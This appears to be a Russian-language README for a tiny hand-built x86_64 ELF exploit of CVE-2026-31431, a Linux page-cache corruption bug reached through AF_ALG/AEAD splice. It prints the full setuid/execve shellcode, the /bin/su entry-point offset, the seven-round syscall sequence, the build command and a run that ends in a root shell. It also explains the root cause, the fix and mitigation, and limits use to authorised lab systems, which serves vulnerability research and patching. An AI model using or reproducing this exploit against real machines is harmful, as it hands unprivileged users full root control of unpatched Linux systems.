
Минимальный статический ELF-эксплойт размером 587 байт для CVE-2026-31431, обеспечивающий локальное повышение привилегий через повреждение page cache при splice в AF_ALG. Без зависимостей от libc или рантайма.
Я не находил эту ошибку. Заслуга принадлежит Xint Code / Theori.
Этот репозиторий — моя попытка сделать эксплойт максимально компактным — собственноручно собранный x86_64 ELF, выполняющий полную LPE-атаку за 587 байт. Без libc, без линковщика, без рантайма. Только NASM и упрямство.
По сути, ядро предоставляет вам примитив записи в page cache любого читаемого файла через AF_ALG + splice. Направьте его на точку входа setuid-бинарника, запишите шеллкод, выполните бинарник — и вы root.
Для контекста о размерах: в оригинальном публичном посте Copy Fail была опубликована крошечная Python-версия размером 732 байта. Это крайне круто, но она всё ещё зависит от наличия Python-рантайма. Ещё меньше — https://kopy.fail на 524 байта. Однако этот вариант — сырой статический ELF: без интерпретатора, без libc, без линковщика, без динамического загрузчика. (моя мама говорит, что это круто)
| CVE | CVE-2026-31431 |
| Класс ошибки | Порча page cache через алиасинг splice |
| Корневая причина | af_alg_sendpage / splice в AEAD-запрос алиасит страницы page cache в scatter-gather выход криптографии |
| Компонент | crypto/af_alg.c + crypto/algif_aead.c |
| Воздействие | Запись контролируемых байт в page cache любого читаемого файла |
| Требования | Локальный пользователь, доступный AF_ALG/AEAD, читаемый setuid-таргет |
| Эксплойт | 587-байтовый статический ELF (x86_64), один файл, ноль зависимостей |
AF_ALG позволяет userspace выполнять криптографию ядра через сокеты. Для AEAD-шифров, таких как
authencesn, ядро принимает данные через sendmsg с MSG_MORE, затем вы
можете доправить (splice) больше данных из файлового дескриптора.
Проклятая часть: когда вы делаете splice файла, ядро закрепляет страницы page cache файла напрямую в scatter-gather список криптографии. Затем операция AEAD записывает свой вывод обратно в те же самые страницы. Ядро думает, что дало криптографии буфер для чтения. Криптография думает, что получила буфер для записи. Никто не копирует.
Байты, которые вы передаёте как AAD-метаданные, оказываются видимыми через page cache. Любое последующее чтение этого файла — любым процессом, любым пользователем, включая suid exec — видит повреждённые данные. Файл на диске не тронут. Меняется только представление в page cache в памяти.
Copy Fail — это проклятие семейства page-cache/COW, проявившееся в обличье AF_ALG. Та же родословная, что и у Dirty COW (CVE-2016-5195) — «ядро позволило вам писать в то, что вы должны были только читать» — но через путь криптографического splice вместо гонки madvise/write.
Цель: /bin/su на Debian Bookworm (включая rootfs kernelCTF). Точка входа ELF
находится по файловому смещению 0x3910.
28 байт шеллкода превращают его в дроппер root-шелла:
; setuid(0) - 7 байт
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21 байт
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
Примитив AEAD даёт вам только 4 байта за операцию — один 32-битный фрагмент AAD попадает по смещению splice. 28 байт шеллкода ÷ 4 = 7 проходов через криптографический стек ядра. Каждая итерация:
socket(AF_ALG) + bind с authencesn(hmac(sha1),cbc(aes))setsockopt для установки ключа и размера тега аутентификацииaccept для получения request fdsendmsg с MSG_MORE — 8-байтовый iov содержит 4 байта AAD-заполнителя + 4 байта шеллкодаsplice из /bin/su через pipe в request fd (позиционирует страницы page cache)recvfrom — запускает обработку AEAD, портит page cacheПосле всех 7 итераций — execve("/bin/su"). Ядро загружает его из
повреждённого page cache. Выполнение переходит на перезаписанную точку входа. Root-
шелл.
Всего 587 байт. 120 из них — заголовок ELF (без него ядро вас не загрузит), так что фактическая логика эксплойта — 467 байт машинного кода + данные.
Вот где что находится в заголовке ELF:
Offset Поле Фактическое использование
------ ----- ----------
0x00 e_ident[0:8] магия + класс ELF (обязательно)
0x08 e_ident[8:16] материал криптографического ключа (ядро игнорирует эти байты)
0x28 e_shoff строка "/bin/su\0" (ядро игнорирует для ET_EXEC)
Ядро смотрит только на e_ident[0:7], e_type, e_machine, e_entry,
e_phoff, e_phnum и сам phdr. Всё остальное — свободная недвижимость.
Другие приёмы экономии размера:
push imm8 / pop rax / syscall (по 3 байта каждый)Первая рабочая версия была 584 байта. В ней использовался mov ax, 275 для второго
вызова splice (на 2 байта короче, чем mov eax, 275). Это ставка на то, что первый
splice всегда успешен — если он вернёт отрицательную ошибку, старшие 48 бит rax
останутся установленными, и mov ax, 275 перезапишет только младшие 16. Тогда
номер syscall второго splice будет мусором.
На моём тестовом ядре это всегда работало. Но «всегда работает в тестах» — плохая причина выпускать баг, и если кто-то столкнётся с этим на системе, где splice возвращает EAGAIN при нехватке памяти, эксплойт просто упадёт с segfault без каких-либо указаний на то, что пошло не так. Съел лишние 3 байта.
Также пришлось добавить xor esi, esi перед финальным execve, потому что recvfrom
затирает rsi адресом буфера. Без этого execve получает мусорный указатель argv.
Ещё один байт.
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
Требуется NASM. Создаёт бинарник эксплойта напрямую — без шага линковки.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
Занимает меньше секунды. Нет вывода при успехе — просто root-шелл.
Требуется CONFIG_CRYPTO_USER_API_AEAD (встроенный или загружаемый модуль) и
неисправленный путь in-place splice в algif_aead. Плохой путь кода восходит к
оптимизации 2017 года. Проверьте конфигурацию ядра вашего дистрибутива и статус патчей.
Исправление убивает путь in-place и копирует страницы источника splice вместо их алиасинга в scatter-gather список криптографии. Изоляция page cache восстановлена.
Это артефакт KernelCTF/лаборатории. Запускайте его на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Если вы защищаете Linux-машины, пропатчите ядро или ограничьте загрузку модуля AF_ALG/algif_aead.
Daniel Wade — GitHub · Twitter/X · Bluesky · nadsec.online